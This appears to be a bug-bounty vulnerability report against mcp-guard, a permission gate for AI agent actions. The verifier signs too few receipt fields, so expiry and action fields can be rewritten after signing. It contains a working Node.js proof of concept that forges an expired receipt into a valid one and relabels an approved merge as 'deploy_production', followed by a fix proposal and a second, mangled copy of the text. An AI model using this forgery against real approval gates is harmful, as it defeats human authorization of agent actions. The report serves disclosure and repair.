Claim for #36.
Summary
The current permission-protocol/mcp-guard offline receipt verifier accepts a signed receipt after authorization-critical receipt fields are changed because the Ed25519 signature only covers:
receipt_id + request_payload_hash + optional scope/scope_ref/scope_sha
verifyReceiptOffline() then trusts fields that are not in buildSigningBytes(), especially:
status
expires_at
action
resource
summary
diff
request_json
policy_details
That means the same Ed25519 signature can still verify after expiry is removed or after the receipt's displayed/action metadata is rewritten.
This is a signing-envelope issue, not an Ed25519 primitive issue.
Why this matters
The verifier checks receipt.status === "AUTHORIZED" and rejects expired receipts, but neither status nor expires_at is signed.
So a receipt that should fail because it is expired can be edited back into a valid receipt without changing the signature.
The verifier also has no expected payload hash parameter. It verifies that some payload hash was signed, but does not verify that the signed hash matches the action currently being authorized unless every caller performs that comparison separately.
Local PoC on current mcp-guard main
Tested against:
54a8628 Bind authorization token signatures to full envelope (closes deploy-gate#60)
Run:
git clone https://github.com/permission-protocol/mcp-guard
cd mcp-guard
npm ci
npm run build
node --input-type=module <<'NODE'
import { createReceipt, signReceipt } from './dist/src/receipt.js';
import { verifyReceiptOffline } from './dist/src/receipt-verify.js';
import { getPublicKeyPem } from './dist/src/signer.js';
const scope = {
scope: 'github:merge',
scope_ref: 'refs/pull/32/merge',
scope_sha: 'target-merge-sha',
};
const held = {
decision: 'held_for_approval',
rule_id: 'merge-pr',
reason: 'requires approval',
lane: 'decide',
reversibility: 'irreversible',
};
const receipt = signReceipt(
createReceipt(
'agent-1',
'merge_pr',
held,
{ pr_number: 32, benign: true },
'infra-mcp',
'enforce',
scope,
),
'operator',
);
const pem = getPublicKeyPem();
console.log('baseline:', verifyReceiptOffline(receipt, pem, scope));
const expired = structuredClone(receipt);
expired.expires_at = new Date(Date.now() - 60_000).toISOString();
console.log('expired fails:', verifyReceiptOffline(expired, pem, scope));
const expiryBypass = structuredClone(expired);
expiryBypass.expires_at = null;
console.log('expiry removed passes with same signature:', verifyReceiptOffline(expiryBypass, pem, scope));
console.log('same signature after expiry mutation:', expiryBypass.signature.value === receipt.signature.value);
const actionTamper = structuredClone(receipt);
actionTamper.action = 'deploy_production';
actionTamper.resource = 'prod';
actionTamper.summary = 'tampered post-signature summary';
actionTamper.policy_details.decision_reason = 'tampered reason';
actionTamper.diff.files[0].patch = 'tampered patch';
console.log('action/metadata tamper passes with same signature:', verifyReceiptOffline(actionTamper, pem, scope));
console.log('same signature after action mutation:', actionTamper.signature.value === receipt.signature.value);
NODE
Observed output:
baseline: { valid: true, reasons: [] }
expired fails: {
valid: false,
reasons: [
'PP_EXPIRED: receipt expired at 2026-07-04T12:02:51.650Z (now 2026-07-04T12:03:51.650Z).'
]
}
expiry removed passes with same signature: { valid: true, reasons: [] }
same signature after expiry mutation: true
action/metadata tamper passes with same signature: { valid: true, reasons: [] }
same signature after action mutation: true
Impact
An attacker with any signed receipt can mutate unsigned authorization/audit fields while keeping the original signature valid.
Most directly:
- expiry can be removed or extended after signing;
- action/resource/audit metadata can be rewritten after signing;
- the verifier has no built-in check that
request_payload_hash equals the current action payload hash.
If the deploy receipt gate relies on this verifier shape, a receipt can pass verification while no longer representing what was approved.
Suggested fix
Sign a canonical receipt envelope, not only receipt_id, request_payload_hash, and scope.
At minimum, include:
receipt_id
status
action
resource
request_payload_hash
scope
scope_ref
scope_sha
expires_at
issuer
receipt_version
policy_details
Also make verifyReceiptOffline() accept expected authorization inputs such as expected request_payload_hash, action, and resource, then reject mismatches before returning valid.
Payment details can be provided privately after verification.
Claim for #36.
Summary
The current
permission-protocol/mcp-guardoffline receipt verifier accepts a signed receipt after authorization-critical receipt fields are changed because the Ed25519 signature only covers:verifyReceiptOffline()then trusts fields that are not inbuildSigningBytes(), especially:statusexpires_atactionresourcesummarydiffrequest_jsonpolicy_detailsThat means the same Ed25519 signature can still verify after expiry is removed or after the receipt's displayed/action metadata is rewritten.
This is a signing-envelope issue, not an Ed25519 primitive issue.
Why this matters
The verifier checks
receipt.status === "AUTHORIZED"and rejects expired receipts, but neitherstatusnorexpires_atis signed.So a receipt that should fail because it is expired can be edited back into a valid receipt without changing the signature.
The verifier also has no expected payload hash parameter. It verifies that some payload hash was signed, but does not verify that the signed hash matches the action currently being authorized unless every caller performs that comparison separately.
Local PoC on current
mcp-guardmainTested against:
Run:
Observed output:
Impact
An attacker with any signed receipt can mutate unsigned authorization/audit fields while keeping the original signature valid.
Most directly:
request_payload_hashequals the current action payload hash.If the deploy receipt gate relies on this verifier shape, a receipt can pass verification while no longer representing what was approved.
Suggested fix
Sign a canonical receipt envelope, not only
receipt_id,request_payload_hash, and scope.At minimum, include:
receipt_idstatusactionresourcerequest_payload_hashscopescope_refscope_shaexpires_atissuerreceipt_versionpolicy_detailsAlso make
verifyReceiptOffline()accept expected authorization inputs such as expectedrequest_payload_hash,action, andresource, then reject mismatches before returning valid.Payment details can be provided privately after verification.